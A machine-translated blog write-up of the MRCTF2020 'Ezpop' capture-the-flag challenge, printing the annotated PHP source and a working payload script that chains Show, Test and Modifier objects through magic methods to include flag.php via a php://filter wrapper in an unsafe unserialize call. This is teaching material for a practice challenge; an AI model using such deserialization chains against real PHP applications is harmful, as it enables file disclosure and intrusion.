当前位置:网站首页>[MRCTF2020]Ezpop 1
[MRCTF2020]Ezpop 1
2022-07-27 08:11:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
I think the Internet is all about this problem and pop chain of , I started to write a relatively complete about this part last week PHP Deserialization summary , It is expected to be released this week , So my analysis of this topic is completely based on the premise of not knowing this knowledge
Open the web link , Give us the code directly , This is not the source code audit , Direct dry pulling :
Here I suggest you take a look at PHP edition , Because some vulnerabilities are valid under certain versions
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); # utilize include Function } public function __invoke(){ // Fires when an attempt is made to call an object as a function $this->append($this->var); # The second step : When Test When calling you, you will execute and then include flag.php file } } class Show{ public $source; public $str; public function __construct($file='index.php'){ // Triggered when an object is created $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; # The third step : If pop->source Medium source It's a Show class , Then it will execute __tostring class , This is because of the echo 'Welcome to '.$this->source."<br>"; Isn't it called here } public function __wakeup(){ // perform unserialize() when , This function will be called first if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ // Triggered when an object is created $this->p = array(); } public function __get($key){ # When we try to get an unreachable property ( such as private), Class will automatically call __get function , Or another attribute that is not it $function = $this->p; return $function(); # The first step is to use this call Modifier This class } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); // Deserialization } else{ $a=new Show; highlight_file(__FILE__); } ?>For the content of code audit , I have written it in the code
Summarize the ideas after code audit :


Now the idea is , Yes payload Design :
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; } class Test{ public $p ; } $a = new Show(); $a->source = new Show(); $a->source->str = new Test(); $a->source->str->p=new Modifier(); echo urlencode(serialize($a)); ?>Some people may wonder why url code , This is because Modifier The property of is protected You must know about PHP Of proteced and private There are some special codes after serialization of , To prevent the impact of this , So we code it
Access page :

Then proceed Decode it
summary
- You must be patient when auditing code
边栏推荐
- [golang] golang develops wechat official account web page authorization function
- kalibr标定realsenseD435i --多相机标定
- Shell script learning day01
- 北京五日游记
- Record a PG master-slave setup and data synchronization performance test process
- ERP生产作业控制 华夏
- You may need an additional loader to handle the result of these loaders.
- 一段平平无奇的秋招经历
- Ubuntu: install PostgreSQL
- [applet] how to get wechat applet code upload key?
猜你喜欢

Data extraction 2

1024 | in the fourth year officially called Menon, the original intention is still there, and continue to move forward

【Day42 文献精读】A Bayesian Model of Perceived Head-Centered Velocity during Smooth Pursuit Eye Movement

数据提取2
![[pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation](/img/44/52c7dc6871fd43223eadfd394e159e.png)
[pytorch] resnet18, resnet20, resnet34, resnet50 network structure and Implementation

Record a PG master-slave setup and data synchronization performance test process

2020 International Machine Translation Competition: Volcano translation won five championships

ERP production operation control Huaxia

Ubuntu: install PostgreSQL
![[ten thousand words long article] thoroughly understand load balancing, and have a technical interview with Alibaba Daniel](/img/fc/1ee8b77d675e34da2eb8574592c489.png)
[ten thousand words long article] thoroughly understand load balancing, and have a technical interview with Alibaba Daniel
随机推荐
File name wildcard rules for kettle
C language: random number + Hill sort
想让照片中的云飘起来?视频编辑服务一键动效3步就能实现
What are the software tuning methods? Let's see what Feiteng technology experts say about dragon lizard technology
一文速览EMNLP 2020中的Transformer量化论文
Practical new drug R & D project management platform
反弹shell是什么?反弹shell有什么用?
Redis configuration file download
北京五日游记
Stored procedure trial 2 -- establish a test table to test different types of stored procedures
"PHP Basics" tags in PHP
Kalibr calibration realsensed435i -- multi camera calibration
C language: random generated number + insertion sort
Lu Xun: I don't remember saying it, or you can check it yourself!
Translation character '/b' in C #
Gossip: it's really important to have a rod in your hand and a net on your shoulder. As for how many fish are in the basket?
You may need an additional loader to handle the result of these loaders.
Modification case of Ruixin micro rk3399-i2c4 mounting EEPROM
Day111. Shangyitong: integrate nuxt framework, front page data, hospital details page
Internet of things industrial UART serial port to WiFi to wired network port to Ethernet Gateway WiFi module selection